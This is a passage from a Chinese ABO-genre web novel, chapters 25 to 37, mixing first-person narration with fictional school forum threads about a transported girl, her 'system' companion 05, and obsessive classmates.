蛋黄酱呀酱:同意楼上,什么时候败犬还能上桌吃饭了。
……
684L
一点点点点:卡,出局的人加上那个告密蠢货就更好了(期待)(苍蝇搓手)
25. 第 25 章
我没有等他回答就离开了医务室。
离开丝珮叶的路上似乎还碰见了几个还算是熟悉的同学。
我没有像往常一样眼神避开、路线躲避绕远路,而是直接迎上、擦肩而过走近路。
今天发生的一切都已经超出我的舒适范围了,就像是设定好的机器被外界恶意破坏一样,我的程序无法正确运转。
曾经有个医生诊断,说我有点情绪障碍,那时我情绪良好的接受并选择置之不理,家人与朋友的关爱铸成了一道蜜糖似的围墙,我安心地呆在墙内,仰望属于自己的一方天地。
我在异世界中似乎才理解了医生意味深长的眼神。
走在街上,迎着风,我步子迈的大、走的快,心中积压的情绪让我想要大声尖叫、哭闹,或像个熊孩子一样在地上打滚、耍赖。
可这里已经没有我信赖的人了。
我只能走,不停地走。
我必须要冷静地、毫无破绽地走回那个系统安排的房子。
系统05的声音在我脑海中不断出现,我没来由地想起半年前他的毫无感情的机械男音,虽然如今声色变化,但本质仍是一种机械设备。
我单方面屏蔽了系统05的聒噪话语,我开始讨厌他了。
*
系统05喋喋不休许久后才停下,我像个死尸般安详地躺在床上,被子拉至头顶,世界静谧。
黄昏的红光穿过窗户,直直射进室内,雪白的床被泼上了血红染料,薄被挡不住光照,我的眼睛发酸发胀发疼。
像是被洒进了碎玻璃。
“叩叩。”房间门被敲击两下,伴随着低声的询问。
“小姐,您还好吗?”
“小姐,请问我可以进来吗?”
“小姐,我……”
我一声不吭,连“滚”字都没有力气说了,近乎绝望地闭了闭眼,深刻怀疑系统05就是个人工智障。
我不听他在我脑中说话,难道他换成人身我就想理他吗?
好烦啊。
好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦好烦……
三分钟后,我摸索床头的花瓶,用力扔了出去。
在清脆的破裂声中,玻璃碎了一地,艳丽的明黄色的假向日葵躺在地上,毫无生机。
声音终于停了。
我阖上双眸。
.
【已经过去两天了……】
1L
完美可可:她还没来学校!!!!!!有没有知情人说说这是怎么回事啊,现在lz一整个火烧火燎抓耳挠腮心急如焚状态啊感觉上学都没劲了呜呜呜呜呜呜呜
2L
成蝶玉舞:在此前几天论坛好像有一场大规模删帖事件……跟那个视频有关的贴都被删了……所以这事跟学生会有关吗?
(下图为丝珮叶学院学生内部论坛版规第一条:学生论坛由学生会全权管理,删帖、禁言、除号等操作最终解释权归学生会享有)
3L
小小猫猫猫:无语了,都是那群人的错,没事拍什么照片录什么相啊。
4L
看见我请提醒我去搞学习:问过A班的朋友,听他们的班主任说也没请假,父母电话也都打不通,现在好像准备派几个人直
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接探访她家去了。
5L
ghosttt回复成蝶玉舞:学生论坛都是学生会那帮人管的,但那次不是学生会动手。
6L
ghosttt:据小道消息说,似乎是白某人被现场抓包,现场操作赎罪搞的。(因涉及敏感词,此楼已屏蔽)
7L
ghosttt:据小道消息说,似乎是bai某人被现场抓包,现场操作赎罪搞的。(因涉及敏感词,此楼已屏蔽)
8L
ghosttt:似乎是b某被现场zhuabao,现场操作shuzui搞的。(因涉及敏感词,此楼已屏蔽)
9L
ghosttt:草你爸的sb我靠,这tm都屏蔽,论坛你家开的啊脑残。(因涉及污秽用语,此楼已屏蔽,发布人ghosttt扣除信誉分20)
10L
ghosttt:c气笑了,白洛翊每天这么高强度盯论坛累不累啊sb(因涉及污秽用语以及人身攻击,此楼已屏蔽,发布人ghosttt禁言72小时)
11L
阳光开朗大女孩:中间五楼怎么没了???提到了什么不该提的(好奇)
12L
可恶:没人关心罪魁祸首是谁吗?看了好几个贴了,怎么没人扒出那个视频拍摄者啊。
……
56L
谁踩了我的蟑螂:别离49小时56分36秒了,想把蟑螂塞进那些让她不开心的人的嘴巴里。
57L
你什么时候才能看我一眼:人在A班,指派的人快要出发了。
26. 第 26 章
好痛。
好痛好痛好痛。
喉咙像是被双手用力撕扯,身体也跟着被撕裂开来。
热得冒汗又冷得战栗。
要死了吗?
会死吗?
门口传来一阵阵撞击声。
心脏好像已经跳出体外,喘不过气来,我仿佛听到了血液流动的声音。
恍惚间,我的额头贴上了一个温热的物体,我的耳朵听见了强健有力的心跳声,鼻尖萦绕着青柠檬的酸涩。
我的身体在求生,它难以抗拒这个能够缓解疼痛的拥抱。
我抱住他,喘息着凑近。
*
鱼竹雨扶了扶眼镜,不着痕迹地扫了一眼侧后方跟着的几人。
她朝宿斯漾弯了弯唇角:“走吧。”
整整两日,未见人影,亦无法联系到监护人后,A班负责人决定将这事交给校委会处理,但那时正好鱼竹雨去办公区交资料。
短发稍稍掠过肩头,看似呆板的黑框眼镜下是一双温和又聪颖的眼睛,亮亮的,润润的,她似乎只要站在那里就代表着安全、安定、安心。
鱼竹雨说服了负责人将这事交给她,出于安全考虑,负责人建议还带一名alpha一同过去。当然斯珮叶里的安保也会全程监视。
鱼竹雨从善如流地接受了,她的眼睛从姓名表滑过,无视了背后炽热的、焦虑的视线,对着似是若有若无挡在身前、眼神饱含威胁的人,若无其事地弯唇,漫不经心地掠过,对那位紧张的女alpha说:“宿斯漾,我记得上次研学就是你和她组队,这次老师让我们一起去看看她,等会就走。”
“好。”女alpha立即回答。
在出发之前,A班负责人就已经把个人资料发给鱼竹雨了。
虽说作为班长,她早已对此熟记于心,但有宿斯漾在,她还是又默记了一遍。
穿过花园喷泉,鱼竹雨和宿斯漾走出电梯,按下门铃。
不过短短30秒,大门打开。
一个青年,衣袖裤腿皆有磨损之处,手指有划痕,头发较为凌乱。
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一个称得上是俊美的男人,年纪看样子在25到30的男人。
鱼竹雨脑中闪过一张白纸黑字的表格,独生子女、父母常年在外出差、一人居住……
她蓦然又记起男人的脸,她曾见过他,在某日放学时的下午,笔直站立着,无言而专注地等待着云卿。
她总是挂着笑颜的脸冷了下来。
而比她反应更大的是宿斯漾,alpha总是对同类的信息素格外敏感,深入骨髓的厌恶,宿斯漾在门打开的瞬间,猛烈的青柠檬的酸涩快把她淹没,有些反胃。
她拧紧眉头,推开眼前的男人,朝着信息素最浓的房间猛冲,鱼竹雨瞥了一眼男人的后颈,跟着快步走过去。
里面的一个房间,房间门明显已被人用蛮力撞破,地板上全是碎屑。
鱼竹雨微微皱眉,宿斯漾怔在原地。
最里面一男一女相拥而卧,女孩安静地睡着了。
姿态异常亲密。
紧接着,后一趟电梯里的人在信息素的冲击下也闯了进来。
27. 系统【机械有声】
系统的职责是什么?
完成任务。
05从产生之日起,“完成任务”的绝对指令便深藏于它的初始代码之中。
因时空管理局出现差池,它第一次接到需要与人类相处的任务。
「任务名称:abo世界维护中
任务详情:维持abo世界稳定,排除外来错误,减轻负面影响
任务对象:云卿、宋杭等
执行系统:05」
这次任务05选择了影响最小的方式,先帮助这些外来者融入abo世界,等不久时空隧道修复好后再送他们回去。
本是最佳方案,可不料经过不断检测,发现时空修复难度寥寥无期,外来者在这个世界呆的时间延长,来自不同世界的人会产生异于此世界的磁场能量,干扰整个世界的运行。
并且由于世界观的不同,外来者们会对原住民产生影响,干扰正常世界秩序。
上次05系统特意化作人身去处理的俱乐部事件就是个例子,他需打造出abo世界观下的beta身份,去铲除来自未来赛博朋克世界观下的、较大规模传播了异文化的人类宋航。
虽因与人类相处经验不够而导致被暗算,但最后05还是完成任务处理了宋航。
同样作为任务对象的人类云卿,那个单纯渴望着回家的人类女孩,最终结局会和宋航一样吗?
05不知道。
精通计算的机器回避了仅用0.1秒就能计算出几率的问题。
不知道为何在铲除一个来自修真世界的人类后,下意识走到了丝珮叶学院门口,像许多接送学生放学的家长、司机一样翘首以盼。
下意识?
一个机器也会有意识吗?
一段程序、一段代码——我也会有意识吗?
05不清楚。
他只是觉得自己使用人类身体的频率越来越高了。
直到那时。
05想,那时的场景一定会永远保存在他的数据库中的。
女孩一整天的兴致都不高,像是焉了的菜苗。
持续不断的打击把她撞得摇摇欲坠,心中的气怒、烦躁、不安从她的双眼泄露,从她的唇齿流出。
05想,他得做些什么。
可要做什么呢?
这是一个能把系统干出病毒的难题。
最后他从世界数据库里翻出一堆书。
“书是人类进步的阶梯。”
系统想,他有了一个人身,四舍五入一下也算是个人了。
于是他找啊找啊。
《如何与孩子沟通?耐心最重要!》
《青春期的孩子,家长应当这样做》
《十五句话,安慰好难受的她》
……
05迅速阅览完毕。
带着迫切的想要安抚好她的心情开始实践。
结果不出所料,吃了闭门羹。
被无视,05不在意;被嘲讽,05不在意;甚至被砸东西,05也不往系统数据库里去。
他很有耐心地在门口等待了一天一夜,没有或者说不敢敲门,就直直地专注地站在门口,安静地听
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着里面的动静。
等到第二天下午,05有点焦虑了,倒不是等不住,而是他开始担心了。
没有与重要高磁场能量人类接触,女孩会怎样?
05离开了房子,他到了小区门口,看见了徘徊于此的白洛翊。
少年脸上是无措是恐慌,是那种想进去但又不敢怕惹了人家更不高兴的胆怯。
05走到他面前,拿出了经过多次任务训练、成功拿下好几个外来者的话术。
当然,最重要的是他提到了云卿,少年即便是有多么怀疑敌视也都不管不顾了,跟着他进去。
他们合力撞破了房门。
白洛翊看到躺在床上似病入膏肓的云卿,吓得急切地要叫救护车,抱她下去。
05阻止了他。
即使是一个alpha,但少年还是抵不过成熟男人的肌肉力量,05压制白洛翊的动作。
少年急得反抗,青筋暴起,双眼泛红。
05动作粗暴的把少年的身体贴近少女,随后又缓慢地帮助女孩摆正姿势,让她不再那么难受。
“你别动了,这样她会舒服点。”05严肃认真地说。
白洛翊挣扎动作缓慢下来,他稍低头,感受女孩的状态,看到确实有了点好转后,才放下心来。
眼中虽有十分茫然,但也全盘照做。
再后来,几位同班同学来家中探访,05才记起有关家长的些许漏洞,但这是小问题,或许对现在情形更有帮助,05打开门,让他们都进来了。
更多人的话,会好的快些吧。
28. 第 28 章
若说先前房间内的信息素是条涓涓流淌的溪水,是徐徐摇曳的薄雾,那么现在就是深黑色横冲直撞奔涌的海水,是刺刀,是利刃,似乎下一秒便是刀光剑影,气氛剑拔弩张。
不同气味的信息素勾缠、压制、敌对,几乎快要笼罩整个房间。
——有一小片却仍是轻柔的荡漾的薄纱。
那里,女孩仍在安稳地沉睡着。
如野兽般粗重的呼吸声、紧握的拳头一抹红蜿蜒滴落。
“啪嗒”“啪嗒”。
可依旧没有人动作。
alpha对同类的信息素生理性的厌恶,易感期的alpha极大可能激发出其他alpha的假性易感期。
这时他们是暴虐的、无理智的,是真正的野兽。
走!
快跑。
远离这里。
理性对他们发出警告。
可双腿被黏住,眼睛被钉死,看着熟睡的被人搂在怀中的女孩。
情感不允许他们退缩。
不断放大的兽性驱使着他们向前扑去,一把扯开白洛翊,用尖利的牙齿刺入他的脖颈,血液飞溅直至死亡。
残留的人性阻碍了他们粗鲁的、野蛮的、可能会伤害到她的举动,让他们小心翼翼地停留在原地,细细观察等待时机。
beta对信息素的感知力是很低的,即便这样,鱼竹雨也能明确地察觉出空气中无声的厮杀,压迫感愈发愈重。
她沉着脸偏头向后方看去。
——看着人模狗样的男人站在门外,镇定自若地观看着这一切,眼中似有满意之色。
来自alpha信息素越来越强烈了,不同信息素的浓度过高很快引起警报。
*
好像睡了很长的一觉。
我醒来,情绪平稳了许多,身体的疼痛感消失了。
我环顾卧室,忽略了心底传来的不适奇怪的感觉,推开卧室门,05腰间围了个围裙,餐桌上是热气腾腾香味扑鼻的美食。
“你做的?”我脚步一顿。
“是的,小姐。”
“你会做饭?”我质疑,语气中满是不可置信。
“这并不困难。”05解开围裙,“对我来说。”
系统的长相是冷峻的,表情很少,说话时也一板一眼,枯燥得像是暮秋的下雨天。
而此刻,我却莫名觉得他这话有点自夸自傲的意思。我完全不会做饭。
于是我沉默地注视了他三秒,故意阴阳怪气地说:“哇,系统先生,你真的好厉害呀。”
05:“嗯。”
他坦然地点点头,站着不动,看着我,似乎还等待着什么夸奖的话。
我:“……”
我的错,不应该对AI搞潜台词的。
不过,不得不说,饭菜是真的好吃。
吃着吃着,我随口一问:“你跟我班主任请了几天假啊?”
“……没请。”
?!
我的沉默震耳欲聋。
颤抖着手打开关机了三天的手机,消息的提示音响了整整五分钟。
未接来电286个,列表上好些99+的消息栏,下滑滑不到头。
我深呼一口气,迅速瞥了一眼那些亲热熟稔的话语,掠过这些膨胀的、泛滥的消息,找到班主任的电话,拨出。
“喂,云卿,感冒好点了吗?”班主任温温柔柔的,没有出现我脑海中预想的质问、气怒等画面。
“啊,嗯,我好了。”我顺着她的话说,疑惑地看向系统。
“以后记得要提前请假,你这突然消失两天,家长电话也打不通,老师还差点报警了呢。”
“不好意思老师,我下次会注意的。”我看着05的目光含怒。
我跟班主任说今天下午就去,也不是多喜欢上学吧,主要是我这几天kpi没做,准备下午补上。
至于,为什么三天没搞kpi,我现在身体没出问题,我想,应该是系统05出手了。
系统这种事物,一般都会有救自己宿主一命的能量吧。
去学校前,我先回复了一些,我能够回复出来的消息。
我忽略了每日不断的早安、晚安。
【喜欢青梅的O姜念屿:卿卿,你今天怎么没来丝珮叶呀?是有什么事情吗?】
【喜欢青梅的O姜念屿:什么事都可以跟我讲哦,我会帮你哒!】
【喜欢青梅的O姜念屿:文学史的江老师在查到了诶。】
【喜欢青梅的O姜念屿:我帮你糊弄过去了哦。】
【喜欢青梅的O姜念屿:猫咪求夸夸.jpg】
【喜欢青梅的O姜念屿:第二天了诶,你还好吗,卿卿】
【喜欢青梅的O姜念屿:我放学后,想去看看你,可以吗?】
【喜欢青梅的O姜念屿:不会打扰你的。】
【喜欢青梅的O姜念屿:真的。】
太多了,我扫得很快。
【我很担心你。】
【整整两天了。】
【我问了班长,我问了班主任,我问了负责人,他们都说不清楚,一点都不关心你。】
【我好难受。】
【想你。】
【好想好想。】
【我去了哦。】
【你不要生气。】
【我问了你的。】
【可是你没有回我。】
【应该是没看见吧,不,肯定是,我不会怪你的。】
【我好担心你。】
……
最后一条消息发出的时间是上午8:50点。
我引用了上面一条消息“我帮你糊弄过去了哦
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。”回复“谢谢。”
发出去前,瞄了眼满屏的消息,又在后面加了一朵玫瑰花。
【椰子糖很好吃-A宿斯漾:今天不来吗?小组双人任务我只想和你一起做……】
【椰子糖很好吃-A宿斯漾:是生病了吗?要好好休息哦】
【椰子糖很好吃-A宿斯漾:我可以来照顾你】
【椰子糖很好吃-A宿斯漾:我很会照顾人的】
【椰子糖很好吃-A宿斯漾:我每月都去福利院、养老院当志愿者】
【椰子糖很好吃-A宿斯漾:呜呜,卿卿怎么不回我?】
【唱独角戏,真的会让一个女人觉得累的(哭泣)(哭泣)。】
【黑白熊猫嚎啕大哭表情包】
【第二天了】
【你是不是出什么事了】
【我想去找你】
【我去了】
时间今天上午8:30
欸?
看到这条我愣了一下,我11:47醒来,现在是12:49,我问系统:“早上是有人来过吗?”
系统反应了一秒:“是有人,小姐的同学,进来了,你还在睡觉,同学没多久就走了。”
我点点头,没多在意,引用“唱独角戏,真的会让一个女人觉得累的(哭泣)(哭泣)。”笑着回复“哈哈哈哈我之前手机关机了”继续翻看消息。
【奇怪的A-白洛翊:早上好】
【奇怪的A-白洛翊:那件事对不起】
【奇怪的A-白洛翊:原谅我好吗】
【你今天没来,是因为那件事吗?】
【对不起,真的很抱歉,让你不开心了】
【早上好】
【你今天又没来……】
【对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起】
【都是我的错,你骂我吧】
【骂不解气,打我也是完全没有意见的】
【我心甘情愿】
【扯我头发、删我巴掌、掐我脖子都可以的】
【更过分一点也是完全接受的,理理我吧】
【求求你了】
【理理我吧】
【我不奢望你的原谅了】
【回我一下吧】——昨天下午2:30
???
我没回。
我怕我回了他会变得更奇怪。
29. 第 29 章
【她来了】
1L
圆是云朵的:1:32走进校门,中间在K24雕塑前停留了一分钟,看光影变幻的魔幻镜子两分钟,1:55正式踏进教学楼,2:24进入教室。
2L
玉咚咚咚咚:来了我挺开心的……不过,楼主你记录这么仔细真的很变态啊!
3L
希望永远在:wc,你tm是不是在跟踪她啊
4L
圆是云朵的:她穿着校服,白鞋,单肩背着个纯黑的书包。
5L
圆是云朵的:虽然穿了校服外套,但因为只系了一个扣子,能看出她领结有点歪了,并且扣子也扣错了。
白鞋不是很干净,上面沾了点东西像是木头碎屑。
6L
误佳期:???所以你想说明什么??每个人生活中总是会发生一些无伤大雅的小失误。
7L
圆是云朵的:通过观察,运用数字计算,然后再比对之前的她,于是可以轻而易举地发现她的步伐比以往慢了很多。
而时不时的驻足停留,又何尝不是一种逃避、厌恶这里的下意识表现呢?
8L
圆是云朵的:她不是一个粗心大意、不拘小节的人,相反,她很注重细节、在意仪容仪表。
一个时不时检查自己装束的人,又怎么可能变得如此随意呢?
9L
udbnsjxjsnxjjs:所以……?
10L
圆是云朵的:她来上学了,并不代表那件事过去了。
11L
圆是云朵的:我之前以为不过是视频的校内流传,影响小,对她本人的伤害也没有那么大。消失两日的原因不大可能是因为这个。
12L
圆是云朵的:她讨厌这里,她讨厌丝珮叶,她讨厌学校。
她非常厌恶被别人擅自拍照、录像,即使是出自喜欢。
13L
圆是云朵的:而她最讨厌的也许就是被注视。
不论是小心翼翼地打量、窥探,还是大大方方地对视、凝望。
不论是善意的、喜爱的目光,还是恶意的、憎恨的眼神。
不论alpha、beta、omega,不论男女。
……
78L
暮色:真的假的啊
……
111L
可嘻嘻:呃,lz乱讲的吧,走路慢了大概率是身体还没好全,她就是因为生病才请假的,她班主任亲口说的。还有,你是怎么从走路慢了、变得粗心了推出她讨厌学校的,凡上过学的,学生没几个真心热爱读书吧?这点先不提,你从她讨厌
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学校到讨厌注视,这个逻辑是不是也太跳了?几乎全是主观臆断啊!
……
197L
bjhbjjhbb:她确实很喜欢看云看天看风景,很少看人,在学校里,她也很少笑。
……
256L
查无此人:她不喜欢的,lz你不是狠狠地搞了一遍吗?你不跟踪窥探,哪来的结论?明明知道她不喜欢。。。lz你也不是什么好东西,跟那些偷拍偷摄的一路货色。
……
340
巧克酥我也喜欢吃呀:呜呜呜突然感觉好难过。
……
贴又爆了。
圆是云朵的用手按了按太阳穴,房内是昏暗的,唯一的一点亮是电脑屏幕的光,撒在他的瘦削的脸上,眼下青黑,丑陋得像只个恶鬼。
他动作停顿了好几秒,没有敲下笔记本上用红笔圈下来的几句话“相较于男性,女性更容易得到她的好感”
“她只有认为自己处于绝对上位时,才会情愿的、主动的、大胆的看,唯有这时才可能获得真正意义上的注视与喜欢”
“她习惯了被动,可他人的主动会让她更加被动,更加逃避,她会觉得自己在这段关系中是下位者”
修长有力的手在纸上写下如刀刻斧凿般的一行字
“我只能是下位者”
30. 第 30 章
【!!!她和白睡在一张床上的。去看她的人全都进医院了。alpha们进入假性易感期。beta受到强烈信息素压迫需要治疗。omega被诱导进入假性发情期了。】
1L
热闹不睡我不睡:看半天了,这个论坛里竟然没人讨论?
2L
冰城火桔酒:!她和白?
3L
夜莺今晚不在家:cao
4L
小鱼今天吃什么:啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊
5L
元素而已:世界疯了……
6L
可可恶思:热闹老兄,又是你……不过这……假的吧?
7L
玩偶的家:不信。我不信!!!白这蠢牛,怎么可能!!?????
8L
惜惜惜:那天去的不就两个人吗?鱼和宿,一个A一个B的哪来的O???
9L
热闹不睡我不睡回复惜惜惜:呃……偷跟上去的不知道有多少
10L
wohaoxihuanni:这个世界,终于颠了……
11L
苍樊:睡?!
12L
没你可爱:???白那个jian人
13L
白川川菜:楼主怎么知道的?
14L
呀呀呀呀呀:lz怎么知道的?是不是也偷偷跟上去了。
15L
热闹不睡我不睡回复呀呀呀呀呀:有人脉。我倒是想跟上去看看,但今天卦象显示极不宜出门、探病、寻亲。
16L
songlegedan:哪家医院?
17L
南宫南宫:哪家医院?
18L
十斤雨雨雨:哪家医院?
19L
我不是农人:哪家医院?
20
可恶:lz别装死,哪家医院?,我家正好搞医疗的,要是让我发现你tm造谣,你不得hs
……
45L
中了爱情密钥的企鹅岛:宿和鱼确实没回学校,邢也不知道什么时候不见了,现在A班教室里空荡荡了,只有十几人了……而白好像从前几天开始就没来学校了。。。。。。。
46L
恶毒的草莓冰淇淋:嗯……lz你不觉得奇怪吗?如果按你说的,宿都受到信息素压迫冲击都进医院了,那她也是beta怎么没事?下午就来学校了……你是想赞美她身体素质好意志力坚强吗?
47L
每天都在睡觉:她今天脸色还挺好的耶,白里透红的,吸溜吸溜嘿嘿,不自觉盯她看了好久
48L
恶毒的草莓冰淇淋回复每天都在睡觉:有病吧?没事
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盯她看干嘛?没看今天那个爆贴吗?
49L
热闹不睡我不睡回复恶毒的草莓冰淇淋:我也觉得这奇怪的很。
50L
热闹不睡我不睡回复可恶:医院名告诉你们干嘛?方便你们骚扰病号吗?嗤
……
78L
完了完了:又是白这个B,这神经不会之后会以正宫自居吧。
79L
见过面似雪:她和白肯定什么都没做,不然就不是诱|导进入发情期、易感期这么简单了。以咱人脉,隔了几个小时,才传到论坛,或者说,这事能拿到论坛上近似与光明正大地讲,说明肯定没发生那种较大的恶性事件,不然早封锁消息了。
80L
玩具总动缘:拍摄那事好像就跟白有关……
81L
弯弯的月亮回复玩具总动缘:看不惯,倒也不必造谣哈,罪魁祸首早就已经找到了,请罪书、道歉视频早就在她没来那几天搞好了。
82L
弯弯的月亮回复玩具总动缘:白连传播者都算不上……搞笑又不幸的是,他第一次点来那个视频的时候,就被当事人抓包了。不过,现在嘛,倒是不知道说这小子是不幸还是幸运了,唉,傻人有傻福啊……
……
503L
中了爱情密钥的企鹅岛:我去,刚刚两个警察突然进来,把她给带走了!
35-40
第35章 味道
在小狗死缠烂打下脱身是一件很麻烦的事,我让他闭眼,他闭眼,我走动一步,他睁眼,再走一步,他的手就黏在了我的身上。
来回几次,我又累又热,把针织外套脱下,坐在床上,有点不耐烦地注视着他。
“不准动。”我发出准确的指令,手按住他的胸口,让他贴紧床面。
下一秒,我把衣服盖在他的头上,“乖,你闭上眼睛,好好睡一觉,你听话的话,下次我还来见你。”
我娴熟地诱哄欺骗着小狗,来不来当然是看我心情。
他像我养的小狗一样,傻乎乎地相信了,没有挣脱掉盖在脸上的轻薄外套,他轻轻捂住,闷声道:“好。”
*
街上的人看我的眼神很奇怪。
我停在街边,左右环顾一下,转身溜进巷角,不由得压低帽檐,压实口罩,又把手机打开拿前置摄像头检查自己一番,没察觉出什么问题。
正当我迷茫到近乎惶恐时,我听到了熟悉的的声音。
“卿卿。”宿斯漾是跑过来的,她看着我,止不住皱眉,语气焦急,“你在那里……还好吗?”
她把手放在我的肩上,目光扫视,几乎要贴到我身上,更加仔细检索一番。
这样的距离,我能嗅到她身上若有若无的椰子味。
“我挺好的。”我不解地打量她的反应,“怎么了?”
宿斯漾抿唇,清丽水润的丹凤眼里夹杂着怒意,常弯弯带笑的眉静了下去。
她低头轻声说,像咬着牙,唇齿碰撞,字字清晰,“你现在身上全是那个、白洛翊的信息素。”
我惊愕抬头,帽檐碰到她的脸颊,她不躲,双手环住我,吐出的热气打在我的耳上,“我帮你把这味道除掉吧,卿卿。”
要怎么去除?
就当我思考的时候,急促的跑步声传来。
我抬眼望向来者——一个穿着白色衬衫面色苍白、清瘦美丽的男孩,像是大病初愈的模样——姜念屿。
姜念屿离我差不多一米半距离就停下了,他盯着我,一眼也未看宿斯漾。他的后方站着几个保镖。
小巷子不大,安静得十分明显,宿斯漾依旧是亲近地挨着我,脸贴着我的帽子,双臂微微环着我,似乎也毫不在意来者。
我后退一步,毫不费力地挣开拥抱,宿斯漾直起身,眼神清明了些。
“……嗨?”我想摆脱这莫名尴尬近乎凝滞的空气。
他朝我走近一步,脸色更加不好了。
“姜念屿,你也是来找我的吗?”要是这都没看明白就太顿了,不过我好奇,这两个人是怎么知道我在这的。
他动了动唇,柔软的琥珀色眼睛似乎融进一块坚硬的铁,眨眼间目光落在地上,不再看我,“……我、我就来看看,卿卿你没事就好。”
姜念屿没停留多久就走了。保镖走上前对他耳语,他顿了好几秒,目光飞快地向我的方向掠了下,最终快步走回巷子口停的黑车中。
等他走后,我问宿斯漾:“你怎么知道我在这儿的?”
“我一直在找你。”她把外套脱下,盖在我的肩上,“从当我知道你被白洛翊母亲带走了那一刻起。”
宿斯漾牵住我的手,边走边解释:“衣服上沾染的易感期alpha信息素不经过专门工具清洗是很难去除的,所以我建议你回家之后立马换下扔掉,别沾到其他衣服上。”
她的手并不柔软,在原世界中我有时会和要好的女性朋友亲昵的牵手,像是两团棉花般的挤压,而握住宿斯漾的手,就像是握住一片充满韧劲的芦苇。
“我家司机就在附近,我让他直接送你回去吧,这样安全一些……”宿斯漾停了一瞬,若有所觉抬头,眼睛瞥向高楼一眼,又很快收回,继续说下去,“另外,卿卿,我不知道你为什么会答应白夫人那么荒谬的请求,易感期的alpha暴躁易怒,况且白洛翊的情况更是严重,几乎完全丧失理性,连医生都难以控制。你在那种情况下是很容易被他伤害的。”
我抿唇不语。
“而且,而且你出来以后,那些人连你身上沾满了信息素都不关注,你忙着助人为乐帮助白洛翊忘记了这事情有可原,他们也不竟也没提醒你。简直是把你当做……”宿斯漾顿住,没再说下去,面上仍有不平之色。
其实,护士小姐专门递给了一整套新衣服的,不过,我看身上也不脏就嫌麻烦,没换。在abo世界这么久,作为abo世界beta,beta中的嗅觉失灵患者,我那时是真没想到信息素会渗到衣服里的这个设定。
这时,车已经到了,我放弃了替他们辩解。忘记abo世界观的常识这一点,实在会惹人生疑,既然宿斯漾帮我找好了借口,那就这样吧。
第36章 性情与相貌相符的少年
这个世界真的很奇怪,漂亮瑰丽的桃花眼少年却如小狗般清纯乖巧楚楚可怜,而明朗活泼的少女却偏生了一双冷淡凛冽的丹凤眸。
这样看来,样貌与性格似乎毫无关联。
不过——
我突然想起姜念屿。
一头深栗色的自来卷,发质极好,看得出未曾烫染过。肌肤雪白如白羊的毛发,而琥珀色的眼瞳笑起来里面亮晶晶的像是荡漾着甜蜜的糖浆——一个柔软美丽的omega。
性情跟相貌一般柔和温雅的少年。
姜念屿递给我一封邀请函,典雅的黑紫色,雕刻着绚丽的花纹,轻闻染着若有若无的清香。
后天是他的生日。
“你会来的,对吗?”他眨着眼,眼睛闪着雀跃的光。
我捏着邀请函,准备提前祝他生日快乐。
就在这时,一阵炫眼的金色闪过我的眼前,萧晏昀前天还挑染的金,今天就成了全金,更闪了,他凑过来一只脑袋,笑意盈盈,“姜念屿,后天生日宴那天有什么好玩的特别活动啊?”
姜念屿脸色不变,唇角弯弯,身体不动,只偏头瞥他,“萧少爷见多识广,您要想给我出几个好主意,我定洗耳恭听。”
萧晏昀挑眉,看向我,自那天在校门口碰见他后,他似乎误解了我跟他叔叔的关系,对我热情起来,有时碰见他会主动向我打招呼,自然地开启一段简短的对话,关系拉进了不少。
他很明显是个E人,那种把i人当玩具的恶劣E人,我有时吃不消那种从空中不知哪个方向传来的喊我的声音,那种诡异中透露出自然的交谈。
现在他亦是大大咧咧,笑容加深,是唇边酒窝都显露出的明亮笑容,他问我:“云卿,听起来没什么好玩的,到了那儿也是无聊,你是不是也不想去啊?”
这让我怎么回答。
我虽说是不想去,但又不是因为萧晏昀猜测的宴会无聊,而是我猜想,这种富家少爷的生日派对,出席的不认识的人肯定很多,而且要身着盛装,仅这两点就已经踩中了我的死穴——社恐、潮人恐惧症。
诞生之日对绝大多数人而言,是一个重要的日子,若依着萧晏昀的说法,仅因担心无聊就推拒,不是我对朋友的态度,若把我的想法顾虑全盘道出,我又不愿。
我本想在含糊其辞,在明天晚上找个借口,说突发急事,不能去,之后把礼物补上就行,现在我对着姜念屿的眼睛,只得说:“当然不是。”
姜念屿的眼瞳似乎盛着将要凝固的蜂蜜,眨眼间,蜂蜜化开,流畅水润的流淌着。
本要含糊过去的答案,明了了。我也明了地预见后日不守诺言的自己了。
我目送萧晏昀离去,看着他的背影,我想把他晃的人眼疼的一头金发狠很扯下。
还有,胸膛上不要别上我最爱的向日葵花的胸章!
后天的生日,大后日给他礼物,网购可能赶不上,我得线下去给姜念屿挑选礼物。
线下购买是个麻烦事,线上的话只要在搜索框中输入“男生生日礼物”这六个字,就可以在合适的价位中快速的选择一个下单。
除了亲人,我还没给异性送过礼物。选礼物,线下加男性,对我来说难上加难。
我继续使用手机,在某网站上搜索“送男生什么礼物比较好”。
跳出一个高赞回答:
「1、手表:戴上它,你被我锁住,你的一分一秒我都要得到。
2、运动鞋:你奔跑的每一步,我都知道,你的步伐踏在我的心上。
3、项链:你的脖子是我的专属。
4、打火机:擦出火花,点燃爱情之火。
……」
我看的想笑。
要不要给他送给玩偶?这应该没什么乱七八糟的含义了吧?我认真思考——
作者有话说:玩偶:玩偶代替不在时的我,永远陪伴在你的身旁。
第37章 柔软善良的羔羊
我给姜念屿选中的是一个小羊玩偶。
毛绒绒的雪白毛发,浑圆的乌黑发亮的双瞳,头上两角自然弯曲成优美的弧度,有韧劲却不坚硬。
他在我心中就是这样一个温柔善良、纯洁可爱的绵羊。
可惜,没有找到琥珀色瞳孔的小羊。我恍惚地盯着羊羔玩偶的墨色眼珠,心脏突然开始砰砰地跳动,血液似乎都涌上脸颊,在店员小姐的提醒下我才回过神来。
紫黑色的绸带与小羊是奇异的般配,即使白粉色更符合小羊温柔可爱的人设。
店员小姐手指翻动,绸带牢牢地系在小羊的脖子上,贴合得不留一丝空隙。
最后它被装入一个闪着银光笼子里,这是我为姜念屿精心挑选的礼盒。而小羊是一眼相中的礼物。
为生日会后的礼物赠送准备好之后,压力仍未结束。
我提前在手机备忘录上写好等会要说的话,默念几遍之后,拨出受害者姜念屿的电话。
